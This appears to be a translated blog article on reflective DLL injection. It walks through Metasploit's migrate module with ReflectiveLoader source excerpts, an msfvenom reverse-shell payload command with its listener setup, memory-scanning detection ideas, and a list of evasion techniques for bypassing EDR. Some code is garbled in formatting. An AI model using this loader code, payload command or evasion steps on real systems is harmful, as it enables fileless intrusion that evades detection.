[web security] In-depth understanding of reflective dll injection technology

I. Introduction

The dll injection technology is a technology that allows a process to actively load the specified dll. In order to improve stealth, malware usually uses dll injection technology to inject its own malicious code in the form of dll into highly trusted processes.

The conventional dll injection technique uses the LoadLibraryA() function to make the injected process load the specified dll. A fatal flaw of the conventional dll injection method is that the malicious dll is required to be stored as a file on the victim host. In this way, the conventional dll injection technology leaves a large trace on the victim's host, which is easily detected by security products such as edr. In order to make up for this defect, stephen fewer proposed reflective dll injection technology and open source it on github. The advantage of reflective dll injection technology is that malicious dll can be directly transferred to the target process memory through socket and other methods and loaded, without any files landing during the period. , the detection difficulty of safety products is greatly increased.

This article will explain the reflective dll injection technology from the introduction of dll injection technology, the analysis of msf migrate module, the detection ideas and the thinking of offensive and defensive confrontation.

2. Introduction to dll injection technology

2.1 Conventional dll injection technology

Regular dll injections are:

  1. By calling the CreateRemoteThread()/NtCreateThread()/RtlCreateUserThread() functions, the injected process creates a thread for dll injection.
  2. By calling the QueueUserAPC()/SetThreadContext() function to hijack the existing thread of the injected process to load the dll.
  3. The interception event is set by calling the SetWindowsHookEx() function. When the corresponding event occurs, the injected process executes the interception event function to load the dll.

Taking the method of dll injection using the CreateRemoteThread() function as an example, the implementation idea is as follows:

  1. Get the injected process PID.
  2. Enable SE_DEBUG_NAME permission in the access token of the injected process.
  3. Use the openOpenProcess() function to get the injected process handle.
  4. Use the VirtualAllocEx() function to open a buffer in the injected process and use the WriteProcessMemory() function to write a string to the DLL path.
  5. Use the GetProcAddress() function to find the address of the LoadLibraryA function in kernel32.dll loaded by the current process.
  6. The LoadLibraryA() function is called through the CreateRemoteThread() function, and a new thread is started in the injected process, so that the injected process process loads the malicious DLL.

The schematic diagram of conventional dll injection is shown in the figure above. The figure starts directly from step 3), and steps 1) and 2) are not repeated.

[→Follow me for all resources, and reply to "data" by private message to get ←]
1. Network security learning route
2. E-books (white hat)
3. Internal video of a big security company4,
100 src documents5
, common security interview questions6
, Analysis of the classic topics of the ctf competition
7, a full set of toolkits
8, emergency response notes

2.2 Reflective dll injection technology

Reflective dll injection is similar to conventional dll injection, but the difference is that the reflective dll injection technology implements a reflective loader() function instead of the LoadLibaryA() function to load the dll, as shown in the following figure. The blue line represents the same steps as injecting with a regular dll, and the red box is the reflective loader() function behavior, which is also highlighted below.

Reflective loader implementation ideas are as follows:

  1. Obtain the base address of the unresolved dll of the injected process, which is the dll referred to in step 7 in the figure below.
  2. Obtain the necessary dll handles and functions to prepare for repairing the import table.
  3. Allocate a new memory to fetch the parsing dll, and copy the pe headers and sections into the new memory.
  4. Fix import table and redirect table.
  5. Execute the DllMain() function.

3. Analysis of Msf migrate module

The migrate module of msf is a module in the post phase, and its role is to migrate the meterpreter payload from the current process to the specified process.

After obtaining the meterpreter session, you can directly use the migrate command to migrate the process, and the effect is shown in the following figure:

The implementation of the migrate module is roughly the same as the ReflectiveDLLInjection project of stephen fewer, with some details added. The implementation principle is as follows:

  1. Read metsrv.dll (metpreter payload template dll) file into memory.
  2. Generate the final payload. a) msf generates a small piece of assembly migrate stub is mainly used to establish socket connections. b) Modify the dos header of metsrv.dll into a small piece of assembly meterpreter_loader, which is mainly used to call the reflective loader function and the dllmain function. Fill in the config block area of ​​metsrv.dll with the configuration information when meterpreter establishes a session. c) Finally, splicing the migrate stub and the modified metsrv.dll together to generate the final payload.
  3. Send migrate request and payload to msf server.
  4. msf allocates a block of memory to the migration target process and writes the payload.
  5. The remote thread created by msf first executes the migrate stub. If it fails, it will try to execute the migrate stub by means of apc injection. The migrate stub will call the meterpreter loader, and the meterpreter loader will call the reflective loader.
  6. The reflective loader performs reflective dll injection.
  7. Finally, msf client and msf server establish a new session.

The schematic is shown below:

The red line in the figure represents the difference from the regular reflective dll injection. Red padding means modifying content, and green padding means adding content. The reflective loader of the migrate module directly reuses the ReflectiveLoader() function in ReflectiveLoader.c of the ReflectiveDLLInjection project of stephen fewer. Below we mainly focus on the behavior of the reflective loader.

3.1 Static analysis 3.1.1 Obtain dll base address

ReflectiveLoader() will first call the caller() function

uiLibraryAddress = caller();

The caller() function is essentially a wrapper around the _ReturnAddress() function. The function of the caller() function is to obtain the return value of the caller() function, which is the address of the next instruction that calls the caller() function in the ReflectiveLoader() function.

#ifdef MINGW32
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }

Then, compare to the low address byte-by-byte whether it is the MZ string that identifies the dos header. If the content of the current address is the MZ string, the current address is regarded as the beginning of the dos header structure, and the dos header e_lfanew structure is checked. Whether the member points to the identifying "PE" string of the pe header. If the verification is passed, it is considered that the current address is the beginning of the correct dos header structure.

while( TRUE )
{ //Take the current address as the dos header structure, whether the e_magic member variable of this structure points to the MZ substring if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) { uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress) ->e_lfanew; if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) { uiHeaderValue += uiLibraryAddress; //Determine whether the e_lfanew structure member points to the PE substring, if so, jump out of the loop and get the base address of the unparsed dll if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) break; } } uiLibraryAddress–; }













3.1.2 Obtain the necessary dll handle and function address

Obtaining the necessary dll handle is to obtain the dll name by traversing the InMemoryOrderModuleList linked list in the ldr member of the peb structure, then calculate the hash of the dll name, and finally compare the hash to obtain the final hash.

iBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{ uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; uiValueC = 0; ULONG_PTR tmpValC = uiValueC; //计算tmpValC所指向子串的hash值,并存储在uiValueC中 if( (DWORD)uiValueC == KERNEL32DLL_HASH )






The necessary function is obtained by traversing the dll export table where the function is located to obtain the function name, and then doing hash comparison.

uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
while( usCounter > 0 )
{ dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); if( dwHashValue == LOADLIBRARYA_HASH


//Equal to other function hashes
|| …
)
{ uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); if( dwHashValue == LOADLIBRARYA_HASH ) pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); //Equal to other function hashes ... usCounter–; } uiNameArray += sizeof(DWORD); uiNameOrdinals += sizeof(WORD); } }











3.1.3 Mapping the dll to new memory

The SizeOfImage variable in the Nt optional header structure stores the memory size occupied by the pe file after parsing in memory. So ReflectiveLoader() obtains the size of SizeOfImage, allocates a new memory, and then maps the pe sections to the new memory one by one according to the relative offset and relative virtual address of the file in the section headers structure.

//Allocate new memory for SizeOfImage
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
//Copy all header and section tables to new memory byte by byte
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
//Parse each section table item
uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
uiValueC = ( uiLibraryAddress + (((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
//Size each section Copy the content to the corresponding location in the new memory
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}

3.1.4 Repair import table and relocation table

First, the import table structure is changed, and the name of the dll where the imported function is located is found, and then the loadlibary() function is used to load the dll. According to the function serial number or function name, in the export table of the loaded dll, compare by hash and find The address of the function is written to the IAT table in the new memory.

uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
//When the end of the import table is not reached
while( ((( PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
{ //Use the LoadLibraryA() function to load the corresponding dll uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); //IAT table uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); while( DEREF(uiValueA) ) { //If the import function is imported by function number









if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{ //通过函数编号索引导入函数所在dll的导出函数
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
//Write the corresponding import function address to the IAT table

}
else
{ //导入函数通过名称导入的 uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); } uiValueA += sizeof( ULONG_PTR ); if( uiValueD ) uiValueD += sizeof( ULONG_PTR ); } uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); }









The relocation table is to solve the situation that the program uses an absolute address to cause an access error when the imagebase specified by the program is occupied. In general, absolute addresses are used when referencing global variables. At this time, it is necessary to modify the assembly instructions corresponding to the memory.

uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
//如果重定向表的值不为0,则修正重定向节
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{ uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock; uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) { uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );






uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
//根据不同的标识,修正每一项对应地址的值
while( uiValueB-- )
{ if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);








uiValueD += sizeof( IMAGE_RELOC );
}
uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}

3.2 Dynamic debugging

On the one hand, this section demonstrates how to actually dynamically debug the migrate module of msf. On the other hand, it is a supplement to 3.1.1. From the assembly level, section 3.1.1 will be easier to understand.

First generate the payload with msfVENOM

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.75.132 lport=4444 -f exe -o msf.exe

and use msfconsole to set listening

msf6 > use exploit/multi/handler

Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > exploit

Started reverse TCP handler on 0.0.0.0:4444

Then use windbg to start msf.exe on the victim machine and

bu KERNEL32!CreateRemoteThread;g

Get the address of the execution of the new thread of the injected process for debugging the injected process.

When a session connection is established, use the migrate command in msfconsole

igrate 5600 //5600 is the pid of the process to be migrated

Then msf.exe is broken in the CreateRemoteThread function, and the prototype of the CreateRemoteThread function is as follows

HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);

So we need to find the value of the fourth parameter lpStartAddress, which is the content of the r9 register,

use

address 000001c160bb0000

Go to the notepad process to verify that it is readable and writable memory, which is basically correct

The address at this time is the address of the migrate stub assembly code. We expect to directly break the function address of the reflective loader. We pass

-a 000001c1 60bb0000 L32000 MZ //000001c160bb0000 is the lpStartAddress above, and 3200 is the size of the memory block we obtained

Directly search for the MZ string to locate the address of the meterpreter loader assembly, and then locate the function address of the reflective loader

The meterpreter loader puts the address of the reflective loader function into rbx, so we can directly break it here and enter the reflective loader function, as shown in the figure below

The reflective loader first calls 000001c1`60bb5dc9, which is the caller() function. The implementation of the caller() function is relatively simple. There are two assembly instructions in total. The function is to return the address of the next instruction.

Here it is 0x000001c160bb5e08

After obtaining the address after the next instruction, it will compare whether the content of the obtained address is MZ. If not, the obtained address will be decremented by one as the new address comparison. If so, it will be compared whether the e_lfanew structure member points to PE. If so, the address at this time is used as the base address of the dll. The debugging process will not be described in detail later.

4. Detection method

There are many detection methods for reflective dll injection technology, such as memory scanning, IOA, etc. The following is an example of memory scanning, some scanning strategies and better detection points that I have thought of.

\

Scanning strategy:

  1. Hook sensitive api, when a sensitive api call sequence occurs, scan the memory of the injecting process and the injected process.
  2. Skip dlls in InMemoryOrderModuleList.

The detection points are mostly related to the behavior of the reflective loader function. The detection points are as follows:

  1. Strong feature matching _ReturnAddress() function. The pre-operation of the Reflectiveloader function to locate the dos header is to call the _ReturnAddress() function to obtain an address of the current dll.
  2. The code logic that scans and locates the beginning of pe. As detailed in Section 3.1, we can weakly match this logic.
  3. Scan for specific hash functions and hash values. In the process of dll injection, many dll handles and function addresses are required, so we have to use hash to compare the dll name and function name. We can match hash functions with these special hash values.
  4. Detect dll injection as a whole. There are actually two dll files in the injected process, one is the original pe file before parsing, and the other is the pe file after parsing. We can detect the relationship between the two dll files to determine that it is a reflective dll injection tool.

Sangfor cloud host security protection platform CWPP can effectively detect such fileless attack techniques that use reflective DLL to inject payloads. The test results are shown in the figure:

image.png

V. Thoughts on Offensive and Defense Confrontation

There are many detection methods for standard reflection dll injection. The main reason is that the author did not deliberately avoid killing. I have collected some methods to avoid killing, and discuss their detection strategies.

  1. Avoid calling sensitive APIs directly. For example, functions such as writeprocessmemory are not called directly, but are called directly with syscall. This kill-free method can only bypass user-mode hooks. This problem can be solved for kernel-mode hooks.
  2. The rwx permission of the dll in the memory is removed and becomes rx. In fact, there are many rude attack methods to detect reflective dll injection, that is, to detect whether the memory with rwx permission is a pe file.
  3. Erase nt headers and dos headers. This killing-free method will directly affect the detection point 4), and it is not possible to simply verify the pe header. It is necessary to add more accurate files to determine the two dlls. For example, first read the SizeOfImage of the unresolved dll size, then find the memory block of this size, and then compare whether the code segment is consistent to determine whether it is the same pe file.
  4. Erase the memory of unparsed pe files. This way of avoiding killing will cause the detection point 4) to completely fail. In this case, we can only detect the reflectiveloader() function.
  5. Erases the memory of the reflectiveloader() function. It's harder to detect here. But there are also detection points. The key here is how to determine that this piece of memory is a pe structure.

Guess you like

Origin blog.csdn.net/HBohan/article/details/123690507